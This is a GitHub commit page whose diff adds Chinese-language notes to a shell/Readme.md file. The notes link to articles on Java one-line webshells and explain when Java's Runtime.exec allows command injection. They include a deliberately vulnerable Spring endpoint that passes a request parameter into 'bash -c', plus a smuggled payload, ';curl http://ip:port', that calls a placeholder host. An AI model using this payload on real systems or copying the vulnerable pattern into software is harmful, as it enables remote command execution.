We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent d318fd0 commit 73363feCopy full SHA for 73363fe
1 file changed
shell/Readme.md
@@ -5,3 +5,29 @@
5
6
7
+ [一种新型Java一句话木马的实现](https://xz.aliyun.com/t/9715)
8
+
9
+## 命令执行的tips
10
11
+https://www.anquanke.com/post/id/243329
12
13
+https://xz.aliyun.com/t/7046
14
15
+**其实说到底是java.lang.Runtime#exec(string)一个对命令进行了空格切分(导致切分不合本意),另一个string[]是自己去分离可以执行**
16
17
+下面代码是可以执行的
18
19
+/cmd?command=;curl http://ip:port
20
21
+```java
22
+@GetMapping(value = "/cmd")
23
+public void cmd(@RequestParam String command) throws Exception {
24
+ String[] c = { "/bin/bash","-c", "hacker "+ command };///bin/bash -c hacker;ls
25
+ Process p = Runtime.getRuntime().exec(c);
26
+}
27
+```
28
29
+下面是不能执行的
30
31
+Command = "ping 127.0.0.1"+request.getParameter("cmd");
32
+Runtime.getRuntime().exec(command);
33
0 commit comments